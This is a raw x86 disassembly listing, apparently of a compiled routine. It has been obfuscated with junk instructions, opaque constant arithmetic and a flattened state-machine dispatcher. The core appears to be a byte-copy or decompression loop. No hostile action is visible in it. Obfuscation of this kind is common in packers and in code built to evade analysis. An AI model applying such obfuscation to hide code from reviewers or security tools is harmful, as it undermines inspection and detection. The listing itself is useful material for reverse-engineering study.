lea esi, [esi]
mov esp, esp
mov esp, esp
mov dword [ebp - 0xb0], 0
mov ebp, ebp
mov ebp, ebp
lea edi, [edi]
mov dword [ebp - 0xd0], 0x439d053d
nop
jmp 0x40a85a
lea edi, [edi]
mov ebp, ebp
mov eax, 0xaaab91c2
nop
mov ecx, 0x23585d49
mov esp, esp
mov edx, dword [ebp - 0xb0]
mov ebp, ebp
mov esi, dword [ebp - 0x94]
mov ebp, ebp
nop
add ebx, 0x3e
sub ebx, 0x3e
mov esp, esp
cmp edx, dword [esi + 4]
lea edi, [edi]
lea esi, [esi]
cmovb eax, ecx
lea edi, [edi]
lea edi, [edi]
mov dword [ebp - 0xd0], eax
nop
mov esp, esp
lea edi, [edi]
jmp 0x40a85a
lea edi, [edi]
nop
mov ebp, ebp
mov eax, 0x823b1d79
nop
mov ebp, ebp
mov ecx, 0xb8d8374d
mov esp, esp
nop
mov esp, esp
mov edx, 0
lea edi, [edi]
mov ebp, ebp
nop
mov esi, dword [ebp - 0xa8]
mov esp, esp
lea edi, [edi]
mov edi, dword [ebp - 0x9c]
nop
movzx esi, byte [edi + esi]
nop
lea esi, [esi]
mov edi, dword [ebp - 0xac]
sub edx, 1
nop
lea edi, [edi]
mov ebx, edi
lea edi, [edi]
sub ebx, edx
lea esi, [esi]
lea edi, [edi]
mov dword [ebp - 0xac], ebx
nop
nop
lea esi, [esi]
mov edx, dword [ebp - 0x80]
nop
nop
lea edi, [edi]
movzx edx, byte [edx + edi + 1]
lea edi, [edi]
mov edi, esi
lea edi, [edi]
mov esp, esp
lea esi, [esi]
push esi
xor esi, eax
mov esi, edx
add esi, dword [ebp - 0x18]
sub esi, edi
xor esi, dword [ebp - 8]
pop esi
xor edi, 0xffffffff
lea edi, [edi]
lea edi, [edi]
mov ebx, edx
mov ebp, ebp
and ebx, edi
nop
lea esi, [esi]
xor edx, 0xffffffff
mov ebp, ebp
lea edi, [edi]
and esi, edx
add eax, 3
push esi
sub esi, edi
sub esi, edx
pop esi
sub eax, 3
mov ebp, ebp
push edi
add edi, esi
and edi, 9
pop edi
or ebx, esi
mov esp, esp
mov dl, bl
nop
lea edi, [edi]
mov esi, dword [ebp - 0xa8]
lea edi, [edi]
mov edi, dword [ebp - 0xa0]
mov byte [edi + esi], dl
lea edi, [edi]
lea esi, [esi]
mov esi, dword [ebp - 0xac]
mov edi, dword [ebp - 0x80]
lea edi, [edi]
movzx edi, byte [edi]
lea edi, [edi]
mov esp, esp
cmp esi, edi
mov esp, esp
mov ebp, ebp
cmove eax, ecx
mov ebp, ebp
mov dword [ebp - 0xd0], eax
mov ebp, ebp
jmp 0x40a85a
lea edi, [edi]
lea edi, [edi]
mov dword [ebp - 0xac], 0
lea esi, [esi]
nop
mov dword [ebp - 0xd0], 0x823b1d79
mov ebp, ebp
mov esp, esp
jmp 0x40a85a
lea edi, [edi]
mov ebp, ebp
mov dword [ebp - 0xd0], 0x12a50d4c
lea esi, [esi]
jmp 0x40a85a
mov ebp, ebp
lea esi, [esi]
lea edi, [edi]
mov eax, 0
lea edi, [edi]
mov ebp, ebp
mov ecx, dword [ebp - 0xb0]
nop
lea edi, [edi]
add edx, 0x33
sub edx, 0x33
sub ecx, 0x6e497b6
add ecx, 1
lea esi, [esi]
nop
add edx, 0x23
sub edx, 0x23
add ecx, 0x6e497b6
mov ebp, ebp
mov dword [ebp - 0xb0], ecx
mov esp, esp
mov ecx, dword [ebp - 0xa8]
mov ebp, ebp
lea edi, [edi]
mov esp, esp
mov edx, eax
lea esi, [esi]
lea edi, [edi]
sub edx, ecx
lea edi, [edi]
mov esp, esp
mov ecx, eax
nop
lea esi, [esi]
push edi
pop edi
sub ecx, 1
lea esi, [esi]
nop
add edx, ecx
mov esp, esp
mov ebp, ebp
nop
sub eax, edx
mov dword [ebp - 0xa8], eax
lea esi, [esi]
nop
mov dword [ebp - 0xd0], 0x439d053d
mov ebp, ebp
jmp 0x40a85a
mov eax, dword [ebp - 0xb0]
mov ebp, ebp
add esi, 0x53
push ebx
sub ebx, edi
add ebx, 0x24
sub ebx, dword [ebp - 0x10]
xor ebx, 0x3c
or ebx, edx
pop ebx
sub esi, 0x53
mov ecx, dword [ebp - 0xa4]
sub ecx, 0x965b1fd9
lea edi, [edi]
add ecx, eax
mov esp, esp
nop
lea esi, [esi]
add ecx, 0x965b1fd9
mov ebp, ebp
mov dword [ebp - 0xa4], ecx
mov dword [ebp - 0xd0], 0xd9993034
nop
jmp 0x40a85a
mov eax, dword [ebp - 0xa8]
lea edi, [edi]
mov ebp, ebp
lea edi, [edi]
mov ecx, dword [ebp - 0x9c]
mov ebp, ebp
mov ebp, ebp
mov dl, byte [ecx + eax]
mov esp, esp
lea edi, [edi]
mov esp, esp
mov eax, dword [ebp - 0xa8]
nop
nop
mov ecx, dword [ebp - 0xa0]
nop
mov byte [ecx + eax], dl
lea edi, [edi]
mov eax, dword [ebp - 0xa8]
mov ebp, ebp
nop
sub eax, 0x9a142292
mov ebp, ebp
add eax, 1
add eax, 0x9a142292
mov dword [ebp - 0xa8], eax
mov ebp, ebp
mov esp, esp
mov ebp, ebp
mov dword [ebp - 0xd0], 0xd9993034
lea esi, [esi]
jmp 0x40a85a
lea esi, [esi]
lea esi, [esi]
mov dword [ebp - 0xd0], 0xe687b4f4
lea esi, [esi]
jmp 0x40a85a
lea esi, [esi]
mov esp, esp
mov eax, dword [ebp - 0xa0]
mov ebp, ebp
mov dword [ebp - 0x6c], eax
mov ebp, ebp
lea edi, [edi]
mov dword [ebp - 0xd0], 0xb3891a79
mov esp, esp
nop
jmp 0x40a85a
lea esi, [esi]
push ecx
pop ecx
mov eax, dword [ebp - 0x6c]
mov ebp, ebp
add esp, 0x278
mov ebp, ebp
nop
pop esi
lea edi, [edi]
nop
pop edi
mov ebp, ebp
pop ebx
pop ebp
mov ebp, ebp
nop
lea edi, [edi]
ret
lea esi, [esi]
jmp 0x408178